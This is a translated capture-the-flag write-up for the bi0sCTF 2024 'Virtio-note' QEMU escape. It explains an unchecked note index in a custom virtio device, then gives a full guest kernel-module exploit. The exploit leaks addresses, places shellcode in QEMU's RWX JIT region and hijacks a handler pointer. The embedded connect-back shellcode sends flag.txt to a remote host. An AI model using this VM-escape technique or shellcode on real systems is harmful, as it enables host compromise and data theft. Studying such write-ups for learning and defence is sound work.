bi0sCTF.2024 Virtio-note (译)

WriteUp 6个月前 admin
74 0 0


                          —由gpt-4-turbo译

Virtio-note

这是一个来自bi0sCTF 2024的pwn挑战。

这是一个qemu逃逸挑战(我最喜欢的类型),而且是一个非常不错的挑战。

我在这个挑战中首次取得突破,并且在48小时后,仍只有4个解决方案,因此我们可以合理地说这不是很容易的挑战。。


1 – 挑战内容

挑战的作者(k1R4),给我们提供了一个带有内置virtio驱动和调试符号的 qemu二进制文件,该virtio驱动的源代码,一些笔记,以及在VM中使用的Linux内核源代码的存档(内核6.7.2)。

我不打算详细介绍virtio驱动在qemu中是什么,它是一种对资源消耗较少的硬件仿真驱动,应该比完全仿真的设备更快。

驱动被划分为后端,这是在主机上运行的qemu源代码中的virtio驱动,以及前端,这是在客户VM内核中运行并与后端通信的virtio驱动。

你可以从qemu文档中了解更多关于virtio后端的信息:https://www.qemu.org/docs/master/devel/virtio-backends.html

挑战的作者提供了他用来编写驱动的github仓库的链接:https://github.com/matthias-prangl/virtio-mini。

我个人写了我的版本,阅读了qemu和内核的源代码。这足够了。

所以我们需要编写一个内核模块,在客户VM中运行,与自定义virtio后端驱动进行通信。

驱动并不大,大多数对我们有趣的功能都是在源文件 virtio-note.c中找到的。

  1. #include "qemu/osdep.h"

  2. #include "hw/hw.h"

  3. #include "hw/virtio/virtio.h"

  4. #include "hw/virtio/virtio-note.h"

  5. #include "qemu/iov.h"

  6. #include "qemu/error-report.h"

  7. #include "standard-headers/linux/virtio_ids.h"

  8. #include "sysemu/runstate.h"

  9. static uint64_t virtio_note_get_features(VirtIODevice *vdev, uint64_t f, Error **errp)

  10. {

  11. return f;

  12. }

  13. static void virtio_note_set_status(VirtIODevice *vdev, uint8_t status)

  14. {

  15. if (!vdev->vm_running) {

  16. return;

  17. }

  18. vdev->status = status;

  19. }

  20. static void virtio_note_handle_req(VirtIODevice *vdev, VirtQueue *vq) {

  21. VirtIONote *vnote = VIRTIO_NOTE(vdev);

  22. VirtQueueElement *vqe = 0;

  23. req_t *req = 0;

  24. while(!virtio_queue_ready(vq)) {

  25. return;

  26. }

  27. if (!runstate_check(RUN_STATE_RUNNING)) {

  28. return;

  29. }

  30. vqe = virtqueue_pop(vq, sizeof(VirtQueueElement));

  31. if(!vqe) goto end;

  32. if(vqe->out_sg->iov_len != sizeof(req_t)) goto end;

  33. req = calloc(1, sizeof(req_t));

  34. if(!req) goto end;

  35. if(iov_to_buf(vqe->out_sg, vqe->out_num, 0, req, vqe->out_sg->iov_len) != sizeof(req_t)) goto end;

  36. if(!vnote->notes[req->idx])

  37. {

  38. virtio_error(vdev, "Corrupted note encountered");

  39. goto end;

  40. }

  41. switch(req->op)

  42. {

  43. case READ:

  44. cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ);

  45. break;

  46. case WRITE:

  47. cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ);

  48. break;

  49. default:

  50. goto end;

  51. }

  52. virtqueue_push(vq, vqe, vqe->out_sg->iov_len);

  53. virtio_notify(vdev, vq);

  54. end:

  55. g_free(vqe);

  56. free(req);

  57. return;

  58. }

  59. static void virtio_note_device_realize(DeviceState *dev, Error **errp) {

  60. VirtIODevice *vdev = VIRTIO_DEVICE(dev);

  61. VirtIONote *vnote = VIRTIO_NOTE(dev);

  62. virtio_init(vdev, VIRTIO_ID_NOTE, 0);

  63. vnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req);

  64. for(int i = 0; i < N_NOTES; i++)

  65. {

  66. vnote->notes[i] = calloc(NOTE_SZ, 1);

  67. if(!vnote->notes[i])

  68. {

  69. virtio_error(vdev, "Unable to initialize notes");

  70. return;

  71. }

  72. }

  73. }

  74. static void virtio_note_device_unrealize(DeviceState *dev) {

  75. VirtIODevice *vdev = VIRTIO_DEVICE(dev);

  76. VirtIONote *vnote = VIRTIO_NOTE(dev);

  77. for(int i = 0; i < N_NOTES; i++)

  78. {

  79. free(vnote->notes[i]);

  80. vnote->notes[i] = NULL;

  81. }

  82. virtio_cleanup(vdev);

  83. }

  84. static void virtio_note_class_init(ObjectClass *klass, void *data) {

  85. DeviceClass *dc = DEVICE_CLASS(klass);

  86. VirtioDeviceClass *vdc = VIRTIO_DEVICE_CLASS(klass);

  87. set_bit(DEVICE_CATEGORY_MISC, dc->categories);

  88. vdc->realize = virtio_note_device_realize;

  89. vdc->unrealize = virtio_note_device_unrealize;

  90. vdc->get_features = virtio_note_get_features;

  91. vdc->set_status = virtio_note_set_status;

  92. }

  93. static const TypeInfo virtio_note_info = {

  94. .name = TYPE_VIRTIO_NOTE,

  95. .parent = TYPE_VIRTIO_DEVICE,

  96. .instance_size = sizeof(VirtIONote),

  97. .class_init = virtio_note_class_init,

  98. };

  99. static void virtio_register_types(void) {

  100. type_register_static(&virtio_note_info);

  101. }

  102. type_init(virtio_register_types);

所以让我们快速分析一下这个驱动程序做了什么:

virtio_note_device_realize()函数中,这个函数在驱动初始化时被调用,你可以看到它注册了一个名为 virtio_note_handle_req的函数来处理请求,这个函数将通过请求队列与我们通信:

  1. vnote->vnq = virtio_add_queue(vdev, 4, virtio_note_handle_req);

然后它使用 calloc()在堆上分配了 160x40字节长的笔记,它们的地址记录在结构 VirtIONote中,看起来是这样:

  1. typedef struct VirtIONote {

  2. VirtIODevice parent_obj;

  3. VirtQueue *vnq;

  4. char *notes[N_NOTES]; // N_NOTES是16

  5. } VirtIONote;

我们可以通过向队列推送请求来与驱动程序通信,它会使用注册的 virtio_note_handle_req函数处理请求,请求格式在 virtio-note.h中定义如下:

  1. typedef struct req_t {

  2. unsigned int idx;

  3. hwaddr addr;

  4. operation op;

  5. } req_t;

这可以是一个READ请求或一个WRITE请求,取决于我们是想读取一个笔记还是写入一个笔记。我们还必须指示一个笔记索引和一个物理地址,数据将从该地址读取或写入(取决于在 operation中定义的方向)。读取和写入操作为64字节长,完整的 笔记大小。


2 – 漏洞在哪里?

好问题,如果你看一下请求处理函数,你会发现一件事情:

  1. switch(req->op)

  2. {

  3. case READ:

  4. cpu_physical_memory_write(req->addr, vnote->notes[req->idx], NOTE_SZ);

  5. break;

  6. case WRITE:

  7. cpu_physical_memory_read(req->addr, vnote->notes[req->idx], NOTE_SZ);

  8. break;

  9. default:

  10. goto end;

  11. }

根据请求的操作,从请求的索引 req->idx读取或写入笔记,但没有任何地方检查请求的索引是否大于16,这是默认的笔记数量。

所以我们有一个越界访问 VirtIONote表的笔记,这很好。。


3 – 如何利用它?

好的,让我们在处理函数 virtio_note_handle_req处设置一个断点,检查在表之后堆上有什么,看看我们如何利用OOB访问。

bi0sCTF.2024 Virtio-note (译)

你可以看到首先是16个条目的 vnotes->notes[16],指向也在堆上分配的16个笔记。

在索引19(黄色)处,你可以看到一个指针,它指向堆上的索引30。所以如果我们使用索引19,我们可以读取或写入从地址0x5555576df4a0(偏移位置在30)开始的64字节区域,这个区域也是黄色的。

我们能做的是在这64字节区域中写入一个地址,例如在偏移量32处(其中包含字符串”e-device>”)。然后通过读取或写入索引32,我们可以在我们希望的位置写入和读取64字节。

因此最终,我们将拥有一个完全受控的 READ/WRITEPrimitive!足以pwn qemu。


4 – 那么计划是什么?

计划是:

  1. 我们泄漏一个堆地址,我们将使用索引26来做这个,它指向一些靠近我们的各种堆地址。

  2. 我们泄漏属于qemu二进制的地址( qobject_input_type_null)来计算qemu二进制映射基础,这个地址在索引34

  3. 现在我们知道了qemu映射基础,我们将泄漏 tcg_qemu_tb_exec变量在qemu .bss中,它指向qemu用来生成jit代码的RWX区域。理想的写入shellcode的地方,不是吗?

  4. 我们将搜索堆上 virtio_note_handle_req函数指针的地址,该函数指针属于在堆上分配的驱动结构,并将在我们发送命令到驱动程序时被调用。

  5. 将我们的shellcode复制到RWX区域,我们将在该区域的末尾写入它,以免在中间被qemu覆写。

  6. 用我们shellcode在RWX区域的地址覆写在堆上找到的 virtio_note_handle_req

  7. 向virtio驱动发送任何命令,那将执行我们的shellcode。

我们将使用一个连接回给定IP和端口的shellcode,并将在socket上发送文件 flag.txt的内容,这样我们就能得到我们的flag了。

bi0sCTF.2024 Virtio-note (译)


5 – 利用代码

我没有时间清理利用代码,或者更干净地重写它。事先道歉🤷

该漏洞在一个需要编译的内核模块中,需要使用insmod加载到VM中。它将使qemu执行shellcode…你必须将shellcode替换为你的…(我留给你作为练习…)

  1. #include <linux/module.h>

  2. #include <linux/kernel.h>

  3. #include <linux/virtio.h>

  4. #include <linux/virtio_config.h>

  5. #include <uapi/linux/virtio_ids.h>

  6. #include <linux/scatterlist.h>

  7. MODULE_LICENSE("GPL");

  8. MODULE_AUTHOR("nobodyisnobody");

  9. MODULE_DESCRIPTION("VirtIO Note Driver");

  10. #define VIRTIO_ID_NOTE 42

  11. #define READ 0

  12. #define WRITE 1

  13. // connect back shellcode, open flag.txt and send it on socket

  14. unsigned char shellc[] = {0x48, 0x83, 0xec, 0x78, 0x6a, 0x29, 0x58, 0x99, 0x6a, 0x2, 0x5f, 0x6a, 0x1, 0x5e, 0xf, 0x5, 0x89, 0xc5, 0x97, 0xb0, 0x2a, 0x48, 0xb9, 0xfe, 0xff, 0xcf, 0x35, 0xfa, 0x0, 0x93, 0x3f, 0x48, 0xf7, 0xd9, 0x51, 0x54, 0x5e, 0xb2, 0x10, 0xf, 0x5, 0x48, 0x8d, 0x3d, 0x18, 0x0, 0x0, 0x0, 0x31, 0xf6, 0x6a, 0x2, 0x58, 0xf, 0x5, 0x89, 0xef, 0x89, 0xc6, 0x31, 0xd2, 0x6a, 0x78, 0x41, 0x5a, 0x6a, 0x28, 0x58, 0xf, 0x5, 0xeb, 0xfe, 0x66, 0x6c, 0x61, 0x67, 0x2e, 0x74, 0x78, 0x74, 0x0};

  15. typedef struct req_t {

  16. unsigned int idx;

  17. phys_addr_t addr;

  18. int op;

  19. } req_t;

  20. struct virtio_note_info {

  21. struct virtio_device *vdev;

  22. struct virtqueue *vq;

  23. };

  24. static void send_request(struct virtio_note_info *note_info, req_t *request_buff)

  25. {

  26. unsigned int len;

  27. struct scatterlist sg;

  28. // Prepare scatter-gather list and add the buffer

  29. sg_init_one(&sg, request_buff, sizeof(req_t));

  30. if (virtqueue_add_outbuf(note_info->vq, &sg, 1, request_buff, GFP_KERNEL) < 0) {

  31. printk(KERN_ERR "VirtIO Note: Error adding buffern");

  32. return;

  33. }

  34. virtqueue_kick(note_info->vq);

  35. // Wait for the buffer to be used by the device

  36. while (virtqueue_get_buf(note_info->vq, &len) == NULL)

  37. cpu_relax();

  38. }

  39. static int virtio_note_probe(struct virtio_device *vdev)

  40. {

  41. struct virtio_note_info *note_info;

  42. req_t *request_buff;

  43. char *data;

  44. char *data2;

  45. uint64_t qemu_base, rwx_base;

  46. uint64_t heap_addr, target, offset, shellcode_offset;

  47. note_info = kmalloc(sizeof(struct virtio_note_info), GFP_KERNEL);

  48. if (!note_info)

  49. return -ENOMEM;

  50. note_info->vdev = vdev;

  51. note_info->vq = virtio_find_single_vq(vdev, NULL, "note-queue");

  52. if (IS_ERR(note_info->vq)) {

  53. kfree(note_info);

  54. return PTR_ERR(note_info->vq);

  55. }

  56. // Allocate and prepare your request buffer

  57. request_buff = kmalloc(sizeof(req_t), GFP_KERNEL);

  58. if (!request_buff) {

  59. kfree(note_info);

  60. return -ENOMEM;

  61. }

  62. data = kmalloc(0x40, GFP_KERNEL);

  63. data2 = kmalloc(0x40, GFP_KERNEL);

  64. // leak heap address

  65. request_buff->idx = 26; // Example index

  66. request_buff->addr = virt_to_phys(data); // Example address

  67. request_buff->op = READ; // Example operation

  68. send_request(note_info, request_buff);

  69. heap_addr = *(uint64_t *)(data+0x10);

  70. printk(KERN_DEBUG "1st heap addr leaked: 0x%llxn", heap_addr);

  71. // leak a qemu address to calculate qemu base

  72. request_buff->idx = 19; // Example index

  73. request_buff->addr = virt_to_phys(data); // Example address

  74. request_buff->op = READ; // Example operation

  75. send_request(note_info, request_buff);

  76. qemu_base = *(uint64_t *)(data+0x20) - 0x86c800;

  77. printk(KERN_DEBUG "qemu binary base leaked: 0x%llxn", qemu_base);

  78. /* leak tcg_qemu_tb_exec value in qemu .bss to get RWX zone address*/

  79. *(uint64_t *)(data+0x10) = (qemu_base+0x1cffb80);

  80. // Prepare a WRITE request

  81. request_buff->idx = 19; // Example index

  82. request_buff->addr = virt_to_phys(data); // Example address

  83. request_buff->op = WRITE; // Example operation

  84. send_request(note_info, request_buff);

  85. // leak rwx zone address

  86. request_buff->idx = 32; // Example index

  87. request_buff->addr = virt_to_phys(data2); // Example address

  88. request_buff->op = READ; // Example operation

  89. send_request(note_info, request_buff);

  90. rwx_base = *(uint64_t *)data2;

  91. printk(KERN_DEBUG "rwx base leaked: 0x%llxn", rwx_base);

  92. /* search for function virtio_note_handle_req on heap */

  93. target = qemu_base + 0x69f0d0;

  94. offset = 0;

  95. while (1)

  96. {

  97. *(uint64_t *)(data+0x10) = (heap_addr + offset);

  98. // Prepare a WRITE request

  99. request_buff->idx = 19; // Example index

  100. request_buff->addr = virt_to_phys(data); // Example address

  101. request_buff->op = WRITE; // Example operation

  102. send_request(note_info, request_buff);

  103. // read second heap addr

  104. request_buff->idx = 32; // Example index

  105. request_buff->addr = virt_to_phys(data2); // Example address

  106. request_buff->op = READ; // Example operation

  107. send_request(note_info, request_buff);

  108. if (*(uint64_t *)data2 == target)

  109. break;

  110. offset += 8;

  111. }

  112. printk(KERN_DEBUG "target found at: 0x%llxn", heap_addr+offset);

  113. /* write our shellcode in rwx zone */

  114. shellcode_offset = 0x3ffe000;

  115. // rwx zone to copy shellcode

  116. *(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset);

  117. // Prepare a WRITE request

  118. request_buff->idx = 19; // Example index

  119. request_buff->addr = virt_to_phys(data); // Example address

  120. request_buff->op = WRITE; // Example operation

  121. send_request(note_info, request_buff);

  122. memcpy(data2,shellc,64);

  123. // Example initialization of request

  124. request_buff->idx = 32; // Example index

  125. request_buff->addr = virt_to_phys(data2); // Example address

  126. request_buff->op = WRITE; // Example operation

  127. send_request(note_info, request_buff);

  128. // rwx zone to copy shellcode

  129. *(uint64_t *)(data+0x10) = (rwx_base+shellcode_offset+0x40);

  130. // Prepare a WRITE request

  131. request_buff->idx = 19; // Example index

  132. request_buff->addr = virt_to_phys(data); // Example address

  133. request_buff->op = WRITE; // Example operation

  134. send_request(note_info, request_buff);

  135. memcpy(data2,&shellc[64],sizeof(shellc)-64);

  136. // Example initialization of request

  137. request_buff->idx = 32; // Example index

  138. request_buff->addr = virt_to_phys(data2); // Example address

  139. request_buff->op = WRITE; // Example operation

  140. send_request(note_info, request_buff);

  141. printk(KERN_DEBUG "shellcode copied at: 0x%llxn", rwx_base+shellcode_offset);

  142. /* overwrite virtio_note_handle_req on heap with our shellcode address */

  143. *(uint64_t *)(data+0x10) = (heap_addr + offset);

  144. // Prepare a WRITE request

  145. request_buff->idx = 19; // Example index

  146. request_buff->addr = virt_to_phys(data); // Example address

  147. request_buff->op = WRITE; // Example operation

  148. send_request(note_info, request_buff);

  149. // modify function ptr

  150. // read data

  151. request_buff->idx = 32; // Example index

  152. request_buff->addr = virt_to_phys(data2); // Example address

  153. request_buff->op = READ; // Example operation

  154. send_request(note_info, request_buff);

  155. *(uint64_t *)data2 = (rwx_base+shellcode_offset);

  156. // write data back

  157. request_buff->idx = 32; // Example index

  158. request_buff->addr = virt_to_phys(data2); // Example address

  159. request_buff->op = WRITE; // Example operation

  160. send_request(note_info, request_buff);

  161. printk(KERN_DEBUG "executing shellcode...n");

  162. // This one should get us code exec

  163. request_buff->idx = 19; // Example index

  164. request_buff->addr = virt_to_phys(data); // Example address

  165. request_buff->op = READ; // Example operation

  166. send_request(note_info, request_buff);

  167. kfree(data);

  168. kfree(request_buff);

  169. return 0;

  170. }

  171. static void virtio_note_remove(struct virtio_device *vdev)

  172. {

  173. printk(KERN_INFO "VirtIO Note: Device removedn");

  174. // Perform any necessary cleanup

  175. }

  176. static struct virtio_device_id id_table[] = {

  177. { VIRTIO_ID_NOTE, VIRTIO_DEV_ANY_ID },

  178. { 0 },

  179. };

  180. static struct virtio_driver virtio_note_driver = {

  181. .driver.name = KBUILD_MODNAME,

  182. .driver.owner = THIS_MODULE,

  183. .id_table = id_table,

  184. .probe = virtio_note_probe,

  185. .remove = virtio_note_remove,

  186. };

  187. static int __init virtio_note_init(void)

  188. {

  189. return register_virtio_driver(&virtio_note_driver);

  190. }

  191. static void __exit virtio_note_exit(void)

  192. {

  193. unregister_virtio_driver(&virtio_note_driver);

  194. }

  195. module_init(virtio_note_init);

  196. module_exit(virtio_note_exit);

要编译它,只需解包挑战作者提供的源代码或内核,按照挑战readme中的说明配置它。

然后你可以创建一个简单的Makefile(假设利用模块命名为 mod.c

  1. obj-m += mod.o

  2. KDIR := ./linux-6.7.2/

  3. all:

  4. $(MAKE) -C $(KDIR) M=$(PWD) modules

  5. clean:

  6. $(MAKE) -C $(KDIR) M=$(PWD) clean

然后进行make,它将编译 mod.ko内核模块,准备在客户VM中加载。

这就是全部…!!!


原文始发于微信公众号(3072):bi0sCTF.2024 Virtio-note (译)

版权声明:admin 发表于 2024年5月20日 下午6:51。
转载请注明:bi0sCTF.2024 Virtio-note (译) | CTF导航

相关文章